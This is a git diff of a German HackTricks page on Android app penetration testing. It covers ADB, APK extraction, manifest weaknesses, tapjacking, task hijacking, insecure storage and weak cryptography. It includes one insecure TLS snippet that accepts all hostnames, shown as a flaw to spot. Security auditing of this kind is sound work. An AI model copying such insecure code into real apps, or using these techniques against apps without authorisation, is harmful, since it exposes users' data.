* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -18,20 +18,20 @@ Andere Möglichkeiten, HackTricks zu unterstützen:
|
|||
|
||||
Treten Sie dem [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) Server bei, um mit erfahrenen Hackern und Bug-Bounty-Jägern zu kommunizieren!
|
||||
|
||||
**Hacking Insights**\
|
||||
Beschäftigen Sie sich mit Inhalten, die sich mit dem Nervenkitzel und den Herausforderungen des Hackens befassen.
|
||||
**Hacking-Einblicke**\
|
||||
Beschäftigen Sie sich mit Inhalten, die sich mit dem Nervenkitzel und den Herausforderungen des Hackens befassen
|
||||
|
||||
**Echtzeit-Hack-News**\
|
||||
Bleiben Sie mit der schnelllebigen Hacking-Welt durch Echtzeit-Nachrichten und Einblicke auf dem Laufenden.
|
||||
Bleiben Sie mit der schnelllebigen Hacking-Welt durch Echtzeitnachrichten und Einblicke auf dem Laufenden
|
||||
|
||||
**Neueste Ankündigungen**\
|
||||
Bleiben Sie über die neuesten Bug-Bounties und wichtige Plattformupdates informiert.
|
||||
Bleiben Sie über die neuesten Bug-Bounties und wichtige Plattformupdates informiert
|
||||
|
||||
**Treten Sie uns auf** [**Discord**](https://discord.com/invite/N3FrSbmwdy) bei und beginnen Sie noch heute mit Top-Hackern zusammenzuarbeiten!
|
||||
**Treten Sie uns bei** [**Discord**](https://discord.com/invite/N3FrSbmwdy) und beginnen Sie noch heute mit Top-Hackern zusammenzuarbeiten!
|
||||
|
||||
## Grundlagen der Android-Anwendungen
|
||||
## Grundlagen von Android-Anwendungen
|
||||
|
||||
Es wird dringend empfohlen, diese Seite zu lesen, um die **wichtigsten Teile im Zusammenhang mit der Android-Sicherheit und den gefährlichsten Komponenten in einer Android-Anwendung** zu erfahren:
|
||||
Es wird dringend empfohlen, diese Seite zu lesen, um mehr über die **wichtigsten Teile im Zusammenhang mit der Android-Sicherheit und die gefährlichsten Komponenten in einer Android-Anwendung** zu erfahren:
|
||||
|
||||
{% content-ref url="android-applications-basics.md" %}
|
||||
[android-applications-basics.md](android-applications-basics.md)
|
||||
|
@ -39,15 +39,15 @@ Es wird dringend empfohlen, diese Seite zu lesen, um die **wichtigsten Teile im
|
|||
|
||||
## ADB (Android Debug Bridge)
|
||||
|
||||
Dies ist das Hauptwerkzeug, das Sie benötigen, um eine Android-Gerät (emuliert oder physisch) zu verbinden.\
|
||||
Dies ist das Hauptwerkzeug, das Sie benötigen, um eine Verbindung zu einem Android-Gerät (emuliert oder physisch) herzustellen.\
|
||||
**ADB** ermöglicht die Steuerung von Geräten entweder über **USB** oder **Netzwerk** von einem Computer aus. Mit diesem Dienstprogramm können Dateien in beide Richtungen **kopiert**, Apps **installiert** und **deinstalliert**, Shell-Befehle **ausgeführt**, Daten **gesichert**, Logs **gelesen** und andere Funktionen ausgeführt werden.
|
||||
|
||||
Werfen Sie einen Blick auf die folgende Liste von [**ADB-Befehlen**](adb-commands.md), um zu erfahren, wie adb verwendet wird.
|
||||
Werfen Sie einen Blick auf die folgende Liste von [**ADB-Befehlen**](adb-commands.md), um zu lernen, wie adb verwendet wird.
|
||||
|
||||
## Smali
|
||||
|
||||
Manchmal ist es interessant, den Anwendungscode zu **ändern**, um auf **versteckte Informationen** zuzugreifen (vielleicht gut verschleierte Passwörter oder Flags). Dann könnte es interessant sein, die APK zu dekompilieren, den Code zu ändern und sie neu zu kompilieren.\
|
||||
[**In diesem Tutorial** können Sie **lernen, wie man eine APK dekompiliert, den Smali-Code ändert und die APK neu kompiliert** mit der neuen Funktionalität](smali-changes.md). Dies könnte als **Alternative für mehrere Tests während der dynamischen Analyse** sehr nützlich sein, die vorgestellt werden. Denken Sie also immer daran, diese Möglichkeit in Betracht zu ziehen.
|
||||
Manchmal ist es interessant, den **Anwendungscode zu ändern**, um auf **versteckte Informationen** zuzugreifen (vielleicht gut verschleierte Passwörter oder Flags). Dann könnte es interessant sein, die APK zu dekompilieren, den Code zu ändern und sie neu zu kompilieren.\
|
||||
[**In diesem Tutorial** können Sie **lernen, wie man eine APK dekompiliert, den Smali-Code ändert und die APK neu kompiliert** mit der neuen Funktionalität](smali-changes.md). Dies könnte als **Alternative für mehrere Tests während der dynamischen Analyse** sehr nützlich sein, die vorgestellt werden. **Denken Sie also immer an diese Möglichkeit**.
|
||||
|
||||
## Andere interessante Tricks
|
||||
|
||||
|
@ -65,121 +65,117 @@ adb pull /data/app/com.android.insecurebankv2- Jnf8pNgwy3QA_U5f-n_4jQ==/base.apk
|
|||
```
|
||||
## Statische Analyse
|
||||
|
||||
Zunächst sollten Sie zur Analyse einer APK einen Blick auf den Java-Code werfen, indem Sie einen Decompiler verwenden. Bitte lesen Sie hier nach, um Informationen zu verschiedenen verfügbaren Decompilern zu finden.
|
||||
Zunächst einmal sollten Sie zur Analyse einer APK einen Blick auf den Java-Code werfen, indem Sie einen Decompiler verwenden. Bitte [lesen Sie hier, um Informationen zu verschiedenen verfügbaren Decompilern zu finden](apk-decompilers.md).
|
||||
|
||||
### Suche nach interessanten Informationen
|
||||
|
||||
Allein durch einen Blick auf die Zeichenketten der APK können Sie nach Passwörtern, URLs (https://github.com/ndelphit/apkurlgrep), API-Schlüsseln, Verschlüsselung, Bluetooth-UUIDs, Tokens und allem anderen Interessanten suchen... suchen Sie sogar nach Code-Ausführungsbackdoors oder Authentifizierungsbackdoors (fest codierte Administratoranmeldeinformationen für die App).
|
||||
Durch das Betrachten der **Strings** der APK können Sie nach **Passwörtern**, **URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **API**-Schlüsseln, **Verschlüsselung**, **Bluetooth UUIDs**, **Tokens** und allem Interessanten suchen... suchen Sie sogar nach Code-Ausführungs-**Hintertüren** oder Authentifizierungs-Hintertüren (fest codierte Admin-Anmeldeinformationen für die App).
|
||||
|
||||
Firebase
|
||||
**Firebase**
|
||||
|
||||
Besondere Aufmerksamkeit sollte den Firebase-URLs geschenkt werden, um festzustellen, ob sie schlecht konfiguriert sind. Weitere Informationen dazu, was Firebase ist und wie man es ausnutzt, finden Sie hier.
|
||||
Achten Sie besonders auf **Firebase-URLs** und prüfen Sie, ob sie schlecht konfiguriert sind. [Weitere Informationen dazu, was Firebase ist und wie man es ausnutzen kann, finden Sie hier.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
|
||||
|
||||
### Grundlegendes Verständnis der Anwendung - Manifest.xml, strings.xml
|
||||
|
||||
Die Untersuchung der Dateien Manifest.xml und strings.xml einer Anwendung kann potenzielle Sicherheitslücken aufdecken. Diese Dateien können mithilfe von Decompilern oder durch Umbenennen der APK-Dateierweiterung in .zip und anschließendes Entpacken darauf zugegriffen werden.
|
||||
Die **Untersuchung der Dateien einer Anwendung **_**Manifest.xml**_** und **_**strings.xml**_** kann potenzielle Sicherheitslücken aufdecken**. Diese Dateien können mithilfe von Decompilern oder durch Umbenennen der APK-Dateierweiterung in .zip und anschließendes Entpacken darauf zugegriffen werden.
|
||||
|
||||
Aus dem Manifest.xml identifizierte Schwachstellen sind:
|
||||
**Aus dem Manifest.xml** identifizierte **Sicherheitslücken** umfassen:
|
||||
|
||||
- Debuggable-Anwendungen: Anwendungen, die in der Manifest.xml-Datei als debuggable ("debuggable="true"") festgelegt sind, stellen ein Risiko dar, da sie Verbindungen zulassen, die zu Exploits führen können. Für ein besseres Verständnis, wie debuggable-Anwendungen gefunden und ausgenutzt werden können, siehe ein Tutorial zur Suche und Ausnutzung von debuggable-Anwendungen auf einem Gerät.
|
||||
* **Debugfähige Anwendungen**: Anwendungen, die als debugfähig (`debuggable="true"`) im _Manifest.xml_ festgelegt sind, stellen ein Risiko dar, da sie Verbindungen zulassen, die zu Ausnutzungen führen können. Für ein besseres Verständnis, wie man debugfähige Anwendungen ausnutzt, siehe ein Tutorial zum Auffinden und Ausnutzen von debugfähigen Anwendungen auf einem Gerät.
|
||||
* **Backup-Einstellungen**: Das Attribut `android:allowBackup="false"` sollte explizit für Anwendungen festgelegt werden, die mit sensiblen Informationen umgehen, um nicht autorisierte Datenbackups über adb zu verhindern, insbesondere wenn das USB-Debugging aktiviert ist.
|
||||
* **Netzwerksicherheit**: Benutzerdefinierte Netzwerksicherheitskonfigurationen (`android:networkSecurityConfig="@xml/network_security_config"`) in _res/xml/_ können Sicherheitsdetails wie Zertifikatspins und HTTP-Verkehrseinstellungen festlegen. Ein Beispiel ist die Zulassung von HTTP-Verkehr für bestimmte Domänen.
|
||||
* **Exportierte Aktivitäten und Dienste**: Die Identifizierung exportierter Aktivitäten und Dienste im Manifest kann Komponenten hervorheben, die missbraucht werden könnten. Eine weitere Analyse während des dynamischen Tests kann aufzeigen, wie diese Komponenten ausgenutzt werden können.
|
||||
* **Inhaltsanbieter und Dateianbieter**: Offen gelegte Inhaltsanbieter könnten unbefugten Zugriff oder Änderung von Daten ermöglichen. Auch die Konfiguration von Dateianbietern sollte überprüft werden.
|
||||
* **Broadcast-Empfänger und URL-Schemata**: Diese Komponenten könnten für Ausnutzungen genutzt werden, wobei besonders darauf geachtet werden sollte, wie URL-Schemata für Eingabesicherheitslücken verwaltet werden.
|
||||
* **SDK-Versionen**: Die Attribute `minSdkVersion`, `targetSDKVersion` und `maxSdkVersion` geben die unterstützten Android-Versionen an und unterstreichen die Bedeutung, veraltete, anfällige Android-Versionen aus Sicherheitsgründen nicht zu unterstützen.
|
||||
|
||||
- Backup-Einstellungen: Das Attribut android:allowBackup="false" sollte explizit für Anwendungen festgelegt werden, die mit sensiblen Informationen umgehen, um unbefugte Datenbackups über adb zu verhindern, insbesondere wenn das USB-Debugging aktiviert ist.
|
||||
|
||||
- Netzwerksicherheit: Benutzerdefinierte Netzwerksicherheitskonfigurationen (android:networkSecurityConfig="@xml/network_security_config") in res/xml/ können Sicherheitsdetails wie Zertifikatspins und HTTP-Verkehrseinstellungen angeben. Ein Beispiel ist die Zulassung von HTTP-Verkehr für bestimmte Domains.
|
||||
|
||||
- Exportierte Aktivitäten und Dienste: Die Identifizierung exportierter Aktivitäten und Dienste im Manifest kann Komponenten hervorheben, die missbraucht werden könnten. Eine weitere Analyse während des dynamischen Tests kann aufzeigen, wie diese Komponenten ausgenutzt werden können.
|
||||
|
||||
- Inhaltsanbieter und FileProvider: Öffentlich zugängliche Inhaltsanbieter könnten unbefugten Zugriff oder Änderung von Daten ermöglichen. Die Konfiguration von FileProvidern sollte ebenfalls überprüft werden.
|
||||
|
||||
- Broadcast-Empfänger und URL-Schemata: Diese Komponenten könnten für Exploits genutzt werden, wobei besonders darauf geachtet werden sollte, wie URL-Schemata für Eingabeverwundbarkeiten verwaltet werden.
|
||||
|
||||
- SDK-Versionen: Die Attribute minSdkVersion, targetSDKVersion und maxSdkVersion geben die unterstützten Android-Versionen an und verdeutlichen die Bedeutung, veraltete, verwundbare Android-Versionen aus Sicherheitsgründen nicht zu unterstützen.
|
||||
|
||||
Aus der Datei strings.xml können sensible Informationen wie API-Schlüssel, benutzerdefinierte Schemata und andere Entwicklernotizen entdeckt werden, was die Notwendigkeit einer sorgfältigen Überprüfung dieser Ressourcen unterstreicht.
|
||||
Aus der **strings.xml**-Datei können sensible Informationen wie API-Schlüssel, benutzerdefinierte Schemas und andere Entwicklerhinweise entdeckt werden, was die Notwendigkeit einer sorgfältigen Überprüfung dieser Ressourcen unterstreicht.
|
||||
|
||||
### Tapjacking
|
||||
|
||||
Tapjacking ist ein Angriff, bei dem eine bösartige Anwendung gestartet wird und sich über einer Opferanwendung positioniert. Sobald sie die Opfer-App sichtbar verdeckt, ist ihre Benutzeroberfläche so gestaltet, dass sie den Benutzer dazu verleitet, mit ihr zu interagieren, während sie die Interaktion an die Opfer-App weiterleitet. Dadurch wird der Benutzer blind dafür gemacht, dass er tatsächlich Aktionen auf der Opfer-App ausführt.
|
||||
**Tapjacking** ist ein Angriff, bei dem eine **bösartige Anwendung** gestartet wird und sich über einer Opferanwendung positioniert. Sobald sie die Opfer-App sichtbar verdeckt, ist ihre Benutzeroberfläche so gestaltet, dass sie den Benutzer dazu bringt, mit ihr zu interagieren, während sie die Interaktion an die Opfer-App weitergibt.\
|
||||
Im Wesentlichen blendet es den Benutzer aus, sodass er nicht weiß, dass er tatsächlich Aktionen auf der Opfer-App ausführt.
|
||||
|
||||
Weitere Informationen finden Sie hier:
|
||||
Weitere Informationen finden Sie unter:
|
||||
|
||||
{% content-ref url="tapjacking.md" %}
|
||||
[tapjacking.md](tapjacking.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Task-Hijacking
|
||||
|
||||
Eine Aktivität mit dem `launchMode`-Attribut auf `singleTask` ohne eine definierte `taskAffinity` ist anfällig für Task-Hijacking. Das bedeutet, dass eine Anwendung installiert werden kann und wenn sie vor der echten Anwendung gestartet wird, kann sie die Aufgabe der echten Anwendung übernehmen (so dass der Benutzer mit der bösartigen Anwendung interagiert und denkt, dass er die echte Anwendung verwendet).
|
||||
Eine **Aktivität** mit dem **`launchMode`** auf **`singleTask` ohne definiertes `taskAffinity`** ist anfällig für Task-Hijacking. Dies bedeutet, dass eine **Anwendung** installiert werden kann und wenn sie vor der echten Anwendung gestartet wird, könnte sie die Aufgabe der echten Anwendung **übernehmen (so dass der Benutzer mit der bösartigen Anwendung interagiert und denkt, er verwendet die echte)**.
|
||||
|
||||
Weitere Informationen finden Sie hier:
|
||||
Weitere Informationen unter:
|
||||
|
||||
{% content-ref url="android-task-hijacking.md" %}
|
||||
[android-task-hijacking.md](android-task-hijacking.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Unsichere Datenspeicherung
|
||||
|
||||
Interner Speicher
|
||||
**Interner Speicher**
|
||||
|
||||
In Android sind Dateien, die im internen Speicher gespeichert sind, so konzipiert, dass sie ausschließlich von der App, die sie erstellt hat, zugänglich sind. Diese Sicherheitsmaßnahme wird vom Android-Betriebssystem durchgesetzt und ist in der Regel ausreichend für die Sicherheitsanforderungen der meisten Anwendungen. Entwickler nutzen jedoch manchmal Modi wie `MODE_WORLD_READABLE` und `MODE_WORLD_WRITABLE`, um Dateien zwischen verschiedenen Anwendungen freizugeben. Diese Modi beschränken jedoch nicht den Zugriff auf diese Dateien durch andere Anwendungen, einschließlich potenziell bösartiger Anwendungen.
|
||||
In Android sind Dateien, die im **internen** Speicher **gespeichert** sind, ausschließlich für die **App** zugänglich, die sie **erstellt** hat. Diese Sicherheitsmaßnahme wird vom Android-Betriebssystem durchgesetzt und ist im Allgemeinen für die Sicherheitsanforderungen der meisten Anwendungen ausreichend. Manchmal nutzen Entwickler jedoch Modi wie `MODE_WORLD_READABLE` und `MODE_WORLD_WRITABLE`, um Dateien zwischen verschiedenen Anwendungen zu **teilen**. Diese Modi **beschränken jedoch nicht den Zugriff** auf diese Dateien durch andere Anwendungen, einschließlich potenziell bösartiger.
|
||||
|
||||
1. Statische Analyse:
|
||||
- Stellen Sie sicher, dass die Verwendung von `MODE_WORLD_READABLE` und `MODE_WORLD_WRITABLE` sorgfältig geprüft wird. Diese Modi können Dateien potenziell ungewolltem oder unbefugtem Zugriff aussetzen.
|
||||
1. **Statische Analyse:**
|
||||
* **Stellen Sie sicher**, dass die Verwendung von `MODE_WORLD_READABLE` und `MODE_WORLD_WRITABLE` **sorgfältig geprüft** wird. Diese Modi können Dateien potenziell für **unerwünschten oder nicht autorisierten Zugriff freigeben**.
|
||||
2. **Dynamische Analyse:**
|
||||
* **Überprüfen** Sie die **Berechtigungen**, die für von der App erstellte Dateien festgelegt sind. Überprüfen Sie insbesondere, ob Dateien **weltweit lesbar oder beschreibbar sind**. Dies kann ein erhebliches Sicherheitsrisiko darstellen, da es jeder **installierten Anwendung** auf dem Gerät, unabhängig von ihrer Herkunft oder Absicht, ermöglichen würde, diese Dateien zu **lesen oder zu ändern**.
|
||||
|
||||
2. Dynamische Analyse:
|
||||
- Überprüfen Sie die Berechtigungen, die für von der App erstellte Dateien festgelegt sind. Überprüfen Sie insbesondere, ob Dateien weltweit lesbar oder beschreibbar sind. Dies kann ein erhebliches Sicherheitsrisiko darstellen, da es jeder Anwendung, die auf dem Gerät installiert ist, unabhängig von ihrer Herkunft oder Absicht ermöglichen würde, diese Dateien zu lesen oder zu ändern.
|
||||
**Externer Speicher**
|
||||
|
||||
Externer Speicher
|
||||
Beim Umgang mit Dateien auf **externem Speicher**, wie SD-Karten, sollten bestimmte Vorsichtsmaßnahmen getroffen werden:
|
||||
|
||||
Beim Umgang mit Dateien auf externem Speicher wie SD-Karten sollten bestimmte Vorsichtsmaßnahmen getroffen werden:
|
||||
|
||||
1. Zugänglichkeit:
|
||||
- Dateien auf externem Speicher sind global lesbar und beschreibbar. Das bedeutet, dass jede Anwendung oder Benutzer auf diese Dateien zugreifen kann.
|
||||
|
||||
2. Sicherheitsbedenken:
|
||||
- Angesichts der einfachen Zugänglichkeit wird empfohlen, sensible Informationen nicht auf externem Speicher zu speichern.
|
||||
- Externer Speicher kann entfernt oder von jeder Anwendung aus zugegriffen werden, was ihn weniger sicher macht.
|
||||
|
||||
3. Umgang mit Daten aus externem Speicher:
|
||||
- Führen Sie immer eine Eingabevalidierung für Daten durch, die aus externem Speicher abgerufen werden. Dies ist entscheidend, da die Daten aus einer nicht vertrauenswürdigen Quelle stammen.
|
||||
- Das Speichern von ausführbaren Dateien oder Klassen auf externem Speicher für das dynamische Laden wird dringend abgeraten.
|
||||
- Wenn Ihre Anwendung ausführbare Dateien aus externem Speicher abrufen muss, stellen Sie sicher, dass diese Dateien vor dem dynamischen Laden signiert und kryptografisch überprüft werden. Dieser Schritt ist entscheidend, um die Sicherheitsintegrität Ihrer Anwendung zu gewährleisten.
|
||||
1. **Zugänglichkeit**:
|
||||
* Dateien auf externem Speicher sind **global lesbar und beschreibbar**. Dies bedeutet, dass jede Anwendung oder Benutzer auf diese Dateien zugreifen kann.
|
||||
2. **Sicherheitsbedenken**:
|
||||
* Aufgrund der einfachen Zugänglichkeit wird empfohlen, **keine sensiblen Informationen** auf externem Speicher zu speichern.
|
||||
* Externer Speicher kann entfernt oder von jeder Anwendung aufgerufen werden, was ihn weniger sicher macht.
|
||||
3. **Umgang mit Daten aus externem Speicher**:
|
||||
* Führen Sie immer eine **Eingabevalidierung** für aus externem Speicher abgerufene Daten durch. Dies ist entscheidend, da die Daten aus einer nicht vertrauenswürdigen Quelle stammen.
|
||||
* Das Speichern von ausführbaren Dateien oder Klassen auf externem Speicher für das dynamische Laden wird dringend abgeraten.
|
||||
* Wenn Ihre Anwendung ausführbare Dateien aus externem Speicher abrufen muss, stellen Sie sicher, dass diese Dateien **signiert und kryptografisch überprüft** werden, bevor sie dynamisch geladen werden. Dieser Schritt ist entscheidend für die Aufrechterhaltung der Sicherheitsintegrität Ihrer Anwendung.
|
||||
|
||||
Auf externen Speicher kann unter `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard` zugegriffen werden.
|
||||
|
||||
Ab Android 4.4 (API 17) hat die SD-Karte eine Verzeichnisstruktur, die den Zugriff einer App auf das Verzeichnis, das speziell für diese App vorgesehen ist, einschränkt. Dadurch wird verhindert, dass bösartige Anwendungen Lese- oder Schreibzugriff auf die Dateien einer anderen App erhalten.
|
||||
{% hint style="info" %}
|
||||
Ab Android 4.4 (**API 17**) hat die SD-Karte eine Verzeichnisstruktur, die den Zugriff einer App auf das Verzeichnis, das speziell für diese App vorgesehen ist, **beschränkt**. Dies verhindert, dass bösartige Anwendungen Lese- oder Schreibzugriff auf Dateien einer anderen App erhalten.
|
||||
{% endhint %}
|
||||
|
||||
Klartext gespeicherte sensible Daten
|
||||
**Sensible Daten im Klartext gespeichert**
|
||||
|
||||
- Shared Preferences: Android ermöglicht es jeder Anwendung, XML-Dateien im Pfad `/data/data/<packagename>/shared_prefs/` einfach zu speichern, und manchmal ist es möglich, sensible Informationen im Klartext in diesem Ordner zu finden.
|
||||
- Datenbanken: Android ermöglicht es jeder Anwendung, SQLite-Datenbanken im Pfad `/data/data/<packagename>/databases/` einfach zu speichern, und manchmal ist es möglich, sensible Informationen im Klartext in diesem Ordner zu finden.
|
||||
* **Geteilte Präferenzen**: Android ermöglicht es jeder Anwendung, XML-Dateien einfach im Pfad `/data/data/<packagename>/shared_prefs/` zu speichern, und manchmal ist es möglich, sensible Informationen im Klartext in diesem Ordner zu finden.
|
||||
* **Datenbanken**: Android ermöglicht es jeder Anwendung, SQLite-Datenbanken einfach im Pfad `/data/data/<packagename>/databases/` zu speichern, und manchmal ist es möglich, sensible Informationen im Klartext in diesem Ordner zu finden.
|
||||
|
||||
### Broken TLS
|
||||
### Gebrochenes TLS
|
||||
|
||||
Akzeptieren aller Zertifikate
|
||||
**Alle Zertifikate akzeptieren**
|
||||
|
||||
Aus irgendeinem Grund akzeptieren Entwickler manchmal alle Zertifikate, auch wenn beispielsweise der Hostname nicht übereinstimmt, mit Codezeilen wie der folgenden:
|
||||
Aus irgendeinem Grund akzeptieren Entwickler manchmal alle Zertifikate, auch wenn beispielsweise der Hostname nicht mit Zeilen des Codes übereinstimmt wie der folgenden:
|
||||
```java
|
||||
SSLSocketFactory sf = new cc(trustStore);
|
||||
sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);
|
||||
```
|
||||
Eine gute Möglichkeit, dies zu testen, besteht darin, den Datenverkehr mit einem Proxy wie Burp zu erfassen, ohne das Burp CA im Gerät zu autorisieren. Außerdem können Sie mit Burp ein Zertifikat für einen anderen Hostnamen generieren und verwenden.
|
||||
|
||||
### Schwache Kryptographie
|
||||
### Kaputte Kryptographie
|
||||
|
||||
**Schlechte Schlüsselverwaltungsprozesse**
|
||||
|
||||
Einige Entwickler speichern sensible Daten im lokalen Speicher und verschlüsseln sie mit einem im Code fest codierten/vorhersagbaren Schlüssel. Dies sollte vermieden werden, da durch Reverse Engineering vertrauliche Informationen von Angreifern extrahiert werden können.
|
||||
Einige Entwickler speichern sensible Daten im lokalen Speicher und verschlüsseln sie mit einem im Code festgelegten/vorhersehbaren Schlüssel. Dies sollte vermieden werden, da durch Reverse Engineering Angreifer vertrauliche Informationen extrahieren könnten.
|
||||
|
||||
**Verwendung unsicherer und/oder veralteter Algorithmen**
|
||||
|
||||
Entwickler sollten keine **veralteten Algorithmen** zur Durchführung von **Autorisierungsprüfungen**, zum **Speichern** oder **Senden** von Daten verwenden. Einige dieser Algorithmen sind: RC4, MD4, MD5, SHA1... Wenn beispielsweise Hashes zum Speichern von Passwörtern verwendet werden, sollten hash-basierte Brute-Force-resistente Hashes mit Salt verwendet werden.
|
||||
Entwickler sollten keine **veralteten Algorithmen** verwenden, um **Autorisierungsprüfungen**, **Speicherung** oder **Senden** von Daten durchzuführen. Einige dieser Algorithmen sind: RC4, MD4, MD5, SHA1... Wenn **Hashes** beispielsweise zur Speicherung von Passwörtern verwendet werden, sollten hash-brute-force **resistente** Hashes mit Salz verwendet werden.
|
||||
|
||||
### Weitere Überprüfungen
|
||||
### Andere Überprüfungen
|
||||
|
||||
* Es wird empfohlen, die APK zu **verschleiern**, um die Arbeit des Reverse Engineers für Angreifer zu erschweren.
|
||||
* Wenn die App sensibel ist (wie Bank-Apps), sollte sie ihre **eigenen Überprüfungen durchführen, um festzustellen, ob das Mobilgerät gerootet ist**, und entsprechend handeln.
|
||||
* Es wird empfohlen, die APK zu **verschleiern**, um es Angreifern schwerer zu machen, den Reverse-Engineering-Prozess durchzuführen.
|
||||
* Wenn die App sensibel ist (wie Bank-Apps), sollte sie ihre **eigenen Überprüfungen durchführen, um zu sehen, ob das Mobilgerät gerootet ist**, und entsprechend handeln.
|
||||
* Wenn die App sensibel ist (wie Bank-Apps), sollte sie überprüfen, ob ein **Emulator** verwendet wird.
|
||||
* Wenn die App sensibel ist (wie Bank-Apps), sollte sie **vor der Ausführung ihre eigene Integrität überprüfen**, um festzustellen, ob sie modifiziert wurde.
|
||||
* Wenn die App sensibel ist (wie Bank-Apps), sollte sie **ihre eigene Integrität vor der Ausführung überprüfen**, um festzustellen, ob sie modifiziert wurde.
|
||||
* Verwenden Sie [**APKiD**](https://github.com/rednaga/APKiD), um zu überprüfen, welcher Compiler/Packer/Verschleierer zum Erstellen der APK verwendet wurde.
|
||||
|
||||
### React Native-Anwendung
|
||||
### React Native Anwendung
|
||||
|
||||
Lesen Sie die folgende Seite, um zu erfahren, wie Sie einfach auf den JavaScript-Code von React-Anwendungen zugreifen können:
|
||||
|
||||
|
@ -195,34 +191,34 @@ Lesen Sie die folgende Seite, um zu erfahren, wie Sie einfach auf den C#-Code vo
|
|||
[xamarin-apps.md](../xamarin-apps.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Superpacked-Anwendungen
|
||||
### Supergepackte Anwendungen
|
||||
|
||||
Laut diesem [**Blog-Beitrag**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/) ist Superpacked ein Meta-Algorithmus, der den Inhalt einer Anwendung in einer einzigen Datei komprimiert. Der Blog spricht über die Möglichkeit, eine App zu erstellen, die diese Art von Apps dekomprimiert... und einen schnelleren Weg, bei dem die **Anwendung ausgeführt wird und die dekomprimierten Dateien aus dem Dateisystem gesammelt werden**.
|
||||
Laut diesem [**Blog-Beitrag**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/) ist Superpacking ein Meta-Algorithmus, der den Inhalt einer Anwendung in eine einzige Datei komprimiert. Der Blog spricht über die Möglichkeit, eine App zu erstellen, die diese Art von Apps dekomprimiert... und einen schnelleren Weg, der darin besteht, **die Anwendung auszuführen und die dekomprimierten Dateien aus dem Dateisystem zu sammeln**.
|
||||
|
||||
### Automatisierte statische Codeanalyse
|
||||
|
||||
Das Tool [**mariana-trench**](https://github.com/facebook/mariana-trench) ist in der Lage, **Schwachstellen** zu finden, indem es den **Code** der Anwendung **scannt**. Dieses Tool enthält eine Reihe von **bekannten Quellen** (die dem Tool die **Stellen** angeben, an denen die **Eingabe vom Benutzer kontrolliert wird**), **Sinks** (die dem Tool **gefährliche Stellen** angeben, an denen bösartige Benutzereingaben Schäden verursachen könnten) und **Regeln**. Diese Regeln geben die **Kombination** von **Quellen-Sinks** an, die auf eine Schwachstelle hinweisen.
|
||||
|
||||
Mit diesem Wissen wird **mariana-trench den Code überprüfen und mögliche Schwachstellen finden**.
|
||||
Mit diesem Wissen wird **mariana-trench den Code überprüfen und mögliche Schwachstellen darin finden**.
|
||||
|
||||
### Ausgeleitete Geheimnisse
|
||||
### Geleakte Geheimnisse
|
||||
|
||||
Eine Anwendung kann Geheimnisse (API-Schlüssel, Passwörter, versteckte URLs, Subdomains...) enthalten, die Sie möglicherweise entdecken können. Sie können ein Tool wie [https://github.com/dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks) verwenden.
|
||||
Eine Anwendung kann Geheimnisse (API-Schlüssel, Passwörter, versteckte URLs, Subdomains...) enthalten, die Sie möglicherweise entdecken können. Sie könnten ein Tool wie [https://github.com/dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks) verwenden.
|
||||
|
||||
### Umgehung der biometrischen Authentifizierung
|
||||
### Biometrische Authentifizierung umgehen
|
||||
|
||||
{% content-ref url="bypass-biometric-authentication-android.md" %}
|
||||
[bypass-biometric-authentication-android.md](bypass-biometric-authentication-android.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Weitere interessante Funktionen
|
||||
### Andere interessante Funktionen
|
||||
|
||||
* **Codeausführung**: `Runtime.exec(), ProcessBuilder(), nativer Code:system()`
|
||||
* **SMS senden**: `sendTextMessage, sendMultipartTestMessage`
|
||||
* Als `native` deklarierte **native Funktionen**: `public native, System.loadLibrary, System.load`
|
||||
* [Lesen Sie dies, um zu erfahren, **wie Sie native Funktionen umkehren**](reversing-native-libraries.md)
|
||||
* [Lesen Sie dies, um zu lernen, **wie man native Funktionen umkehrt**](reversing-native-libraries.md)
|
||||
|
||||
### **Weitere Tricks**
|
||||
### **Andere Tricks**
|
||||
|
||||
{% content-ref url="content-protocol.md" %}
|
||||
[content-protocol.md](content-protocol.md)
|
||||
|
@ -232,41 +228,41 @@ Eine Anwendung kann Geheimnisse (API-Schlüssel, Passwörter, versteckte URLs, S
|
|||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Treten Sie dem [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)-Server bei, um mit erfahrenen Hackern und Bug-Bounty-Jägern zu kommunizieren!
|
||||
Treten Sie dem [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) Server bei, um mit erfahrenen Hackern und Bug-Bounty-Jägern zu kommunizieren!
|
||||
|
||||
**Hacking Insights**\
|
||||
Beschäftigen Sie sich mit Inhalten, die sich mit dem Nervenkitzel und den Herausforderungen des Hackens befassen.
|
||||
**Hacking-Einblicke**\
|
||||
Beschäftigen Sie sich mit Inhalten, die sich mit dem Nervenkitzel und den Herausforderungen des Hackens befassen
|
||||
|
||||
**Echtzeit-Hack-News**\
|
||||
Bleiben Sie mit der schnelllebigen Hacking-Welt durch Echtzeit-Nachrichten und Einblicke auf dem Laufenden.
|
||||
Bleiben Sie mit der schnelllebigen Hacking-Welt durch Echtzeitnachrichten und Einblicke auf dem Laufenden
|
||||
|
